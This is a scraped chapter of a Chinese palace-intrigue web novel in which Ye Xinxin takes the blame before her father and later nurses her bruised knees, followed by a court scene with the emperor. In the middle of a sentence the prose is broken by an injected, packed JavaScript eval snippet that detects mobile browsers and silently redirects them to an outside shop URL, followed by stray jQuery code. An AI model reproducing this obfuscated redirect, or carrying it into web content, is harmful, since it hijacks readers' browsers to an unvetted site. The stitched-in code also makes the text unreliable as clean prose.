文趣网 > 其他小说 > 她说她爱的是朕 > 7. 明哲保身
    叶昕昕抬眸,眉目温顺,眼底带着恰到好处的怯意与愧色。

    她对着叶老爷轻轻叩首。

    “父亲息怒。此事皆因女儿愚钝而起,是女儿言语笨拙,惹得三妹妹动气,才失了姊妹和睦的分寸。”

    她不推不辩,反倒将大半过错揽在自己身上,姿态恭顺谦卑,全无半分辩解狡辩之意。

    叶昕冉最是讨厌她这幅样子,虚伪做作。她想冲过去,在父亲面前撕开她脸上的面具,拆穿她的伪装。

    幸好姜姨娘眼疾手快,立刻按住了她的肩膀。

    两人的这番动作,并未引起其他人的注意。

    叶昕昕小心翼翼地看了她们母女一眼,继续道:

    “三妹妹素来性子直率,并非有意藐视礼法,存心犯上。今日不过是姊妹口角,一时糊涂,方才失了分寸,还望父亲明察。

    府中以和为贵,若是因我二人小小争执,便闹去祠堂,大肆责罚,一旦传至外府,反倒落得叶家教子无方的闲话,平白折损家门体面,得不偿失。

    父亲,今日之事,错首在我。求父亲宽宥三妹妹这一回,所有责罚,女儿甘愿一力承担。往后女儿必定谨守本分,潜心修身,再不惹是非。”

    一番话落,正厅之内瞬时寂静无声。

    叶老爷眸色微动,心底的盛怒悄然褪去大半。

    他从前想要提拔姜氏,回府之后就在顺德院待的时间长了些,三个女儿中只有叶昕冉是他看着长大的,自然会在日常对她偏爱些。

    再说今日此举,本就意在制衡姜氏势力,并非真心要重罚女儿。

    他暗自颔首,心中已有定论。

    叶老爷看不出叶昕昕此番话背后的深意,一旁立着的叶夫人,却是摸了个透底。叶昕昕哪是懂事,她分明是害怕姜氏和叶昕冉事后报复。

    叶夫人眼底神色却彻底沉了下去,心头算计落地。

    她本还斟酌着人选,想着叶昕昕温顺听话,极易拿捏,送入杨府最是稳妥,能尽心看护添玉。

    可叶昕昕这般连内宅姊妹相处都畏手畏脚的性子,若是送入杨府,非但护不住添玉,怕是自身都难保,根本撑不起半点用处。

    姜姨娘悄悄松了口气,看向叶昕昕的目光多了几分复杂。

    唯独跪在一旁的叶昕冉满心不甘,看着处处示弱,反倒博得众人好感的叶昕昕,只觉满心憋屈,却不敢再多言半句。

    叶老爷沉吟片刻,最终沉声开口,落下定论:“既然昕昕主动认错求情,又念在你二人皆是初犯,便从轻处置。”

    他目光扫过依旧满心桀骜的叶昕冉,语气带着威严惩戒:“叶昕冉,口角无度,失悌失礼,罚你闭门思过三日,另抄写《女诫》百遍,日日送来正院,请夫人过目。”

    随即视线落回温顺垂首的叶昕昕身上,语气缓和几分:“你虽主动揽错,却也属实处事不周。无需重罚,回去闭门思过吧。”

    这番处置,轻重分明,既敲打了姜氏母女,保全了家风体面,又未曾过度苛责,稳住了后院平衡,恰合叶老爷心中制衡之道。

    叶昕昕伏身叩首:“谢父亲宽宥。”

    低垂的眼眸之下,藏着一抹无人察觉的释然。

    她赌赢了。

    今日一役,她亲手打碎了叶夫人将她送往杨府的算计。

    只是可惜,要闭门思过,她不能随意出门去找鲜于绒绒了。

    叶老爷疲惫地揉了揉眉心,坐着未动。姜姨娘知道他今日要在正院留宿,带着叶昕冉一同退下。

    叶昕昕想要避开她们,特意晚了两步才出门。

    即便如此,她还是看到了叶昕冉被姜姨娘拉走的身影。

    想来是叶昕冉不服气,想要在正院的门口堵自己,姜姨娘怕再惹父亲不喜,才让人拖走了叶昕冉。

    看着叶昕冉恶狠狠的目光,叶昕昕无奈笑笑,走上回自己院子的小路。

    这次她算是和叶昕冉彻底撕破脸了。

    就算姜姨娘对叶昕冉的话半信半疑,日后也会对自己多加防范。

    不过叶昕昕并不后悔。

    院内徐氏还未睡,看到叶昕昕回来,连外衫都顾不得披,朝她走来,“二小姐,二小姐你没事吧?”

    她脸上的忧色不似作假,是真的在担心叶昕昕。

    只是她的担心关切,也仅限在她们居住的这个小小的芙蓉院内。

    想到姜姨娘在正院内护着叶昕冉的样子,叶昕昕淡淡地道:“无碍,夜已深,姨娘早些回房歇息。”

    说罢侧身避过,由青儿搀扶着回自己房间。

    青儿瞧她步履蹒跚,腿脚不便,心疼地道:“小姐,方才在主院又受罚跪了?”

    叶昕昕‘嗯’了一声,并未多言。

    青儿扶她进了房间,关上门连忙卷起叶昕昕的裤腿,只见双膝一片淤紫红肿。

    她快步去往小灶取来温巾敷熨,又寻出院中常备的舒筋药酒,蘸于掌心,细细揉散瘀肿。

    这种事情青儿已经司空见惯,处理起来动作麻利顺畅。

    叶昕昕斜倚床柱,阖目隐忍膝头烫胀酸麻的痛感。

    房内半晌未闻言语,叶昕昕正要开口说话,耳畔却传来青儿压抑的啜泣。

    她掀开眼睫,抬手轻捏青儿面颊,“哭什么。”

    青儿睫毛一颤,泪珠顺势滚落。她慌忙以袖口拭去:“婢子只是心疼小姐。小姐,这样的日子什么时候是个头啊?”

    “快了。”叶昕昕在心中回答。

    揉按完毕,青儿又取炼制脂膏厚厚敷在伤处。她自小就跟着二小姐,刺绣膳食什么没学会,反倒日日练熟了疗伤敷药的本事。

    “小姐的膝盖淤伤不轻,连着敷上三五日才能消去肿痛。”

    叶昕昕道:“正巧父亲命我闭门自省,这几日便安居院中誊写《女诫》。”

    父亲让叶昕冉抄百遍,那她也抄百遍送到正院,也好让夫人看到她的‘懦弱胆怯’。

    青儿收拾妥当药碗,见她气息渐匀已然睡熟,小心翼翼扶她卧躺,拢好衾被,方才轻步退出门外。

    门外徐姨娘早已立在廊下等候,见她出来连忙低声问询:“青儿,二小姐伤势如何?”

    青儿回道:“被夫人在正院罚跪了半个多时辰,婢子已经为小姐的膝盖敷药,现下小姐已经入睡。”

    徐姨娘松口气,“睡了就好。”

    往日青儿尚对徐姨娘心存期许,屡次私下劝她多体恤小姐。

    徐姨娘平时深居简出,诸事不问,可二小姐这辈子不能只躲在房间里。

    她要出去周旋主院与顺德院。

    在外受尽磋磨无人撑腰就算了,等二小姐满身是伤回来的时候,徐姨娘好歹也过来安抚一二。

    可每次徐姨娘都只远远地站在门口看着。

    有时候连门口都不站,只待在她自己的房间内。

    经年累

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631335|206361||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    月,青儿心中早已凉透。

    她对着徐姨娘屈膝一福:“姨娘若无别的吩咐,婢子先行告退。”

    “嗯,去吧,你照顾二小姐辛苦,也早些回房休息。”徐姨娘念叨着,又在叶昕昕的门口徘徊片刻才离去。

    解决了要被送到杨府的事情,叶昕昕一夜好眠。

    隔日起身之后,便开始待在房间抄写《女诫》。

    ...

    今日是五日一轮的大朝日,文武百官齐集金銮大殿上奏议事。

    周景渊一早便被内侍请起身,在正殿临朝将近三个半时辰,方才传旨散朝。

    腹中早已饥馁难耐,一返回内殿,便急命内侍阿喜前去传备午膳。

    鲜于峥便是在这时候,带着周朔一起入殿觐见,二人躬身行礼:“陛下。”

    周景渊饿得正啃桌上的点心充饥,闻言头也未抬,抱怨道:“正好你们留下来,同朕一起用膳。也不知今日是怎地了,那帮老家伙絮叨个不停,饿得朕脑袋直发昏。”

    三人一同长大,情谊非比寻常,周景渊在两人面前自在轻松了许多。

    周朔笑着在御案对面落座:“他们可没有皇叔这般实诚,入宫之前多半早已用过早膳。”

    周朔的父亲是周景渊的堂兄,依宗室辈分,周朔需唤周景渊一声皇叔。从前他们一起读书时,碍于自己比周景渊还要年长两岁,这声‘皇叔’,他是怎么都叫不出口。

    有时候被周景渊和鲜于峥调侃窘迫之际,才面红耳赤地哼唧上一声。

    自打周朔入仕供职户部,日日周旋官场人情,他的脸皮日渐练厚,如今无论公私觐见,他张口便是皇叔,半点别扭也无。

    周景渊抿了口茉莉花茶,咽下口中白玉蒸糕,眼见周朔笑嘻嘻地伸手去取案前红糖枣糕,打趣道:“小侄子,你如今越发的厚颜无耻了。”

    周朔顺手分了一块糕点递与立在一侧的鲜于峥,嬉然回话:“臣在皇叔面前,何须拘泥客套。”

    接连吃下两块糕饼,周景渊腹中稍缓,便不再急于等候正餐,“说吧,这次找朕是为了什么事?”

    周朔与鲜于峥对视一眼,缓缓搁下手中茶盏:“臣昨日巡查回京,专程去往杨府探望杨恒。”

    三月前周景渊委派他离京巡察各地府衙,在外耽搁许久,杨恒发妻难产亡故一事,他直至昨日返京方才听闻。

    谈及杨恒,周景渊语气带着几分恨铁不成钢:“他如何怎样?”

    周朔道:“倒不再一心求死了,能吃能喝,也经常去看小添玉。”

    “如此就好。让他明日去吏部文选司到任供职。”

    依本朝典制,妻丧不在父母丁忧之列,朝廷至多体恤赐假半月料理丧事。杨恒沉湎丧妻之痛,居家闭门拒朝已满一月,此番大朝日亦缺席未至。

    方才朝堂之上,都察院众御史当众递折,请旨论罪,周景渊迫于朝堂规矩,只得下旨降罚,把杨恒从正三品吏部右侍郎贬为正五品文选司郎中。

    所幸文选司执掌天下文官铨选,虽品级跌落,仍旧手握要害实权。

    周景渊道:“告诉杨恒,明日若仍拖延不到,被鸿胪寺录入阙朝名册,纵使朕有心偏袒,也再难保全。”

    鲜于峥性情耿直,不似周朔擅长迂回说辞,连忙出言辩解:“陛下,昨日臣与周兄一同规劝,杨恒原本已然应允,今日准时入朝赴朝会。”

    周景渊道:“那他为何没来?”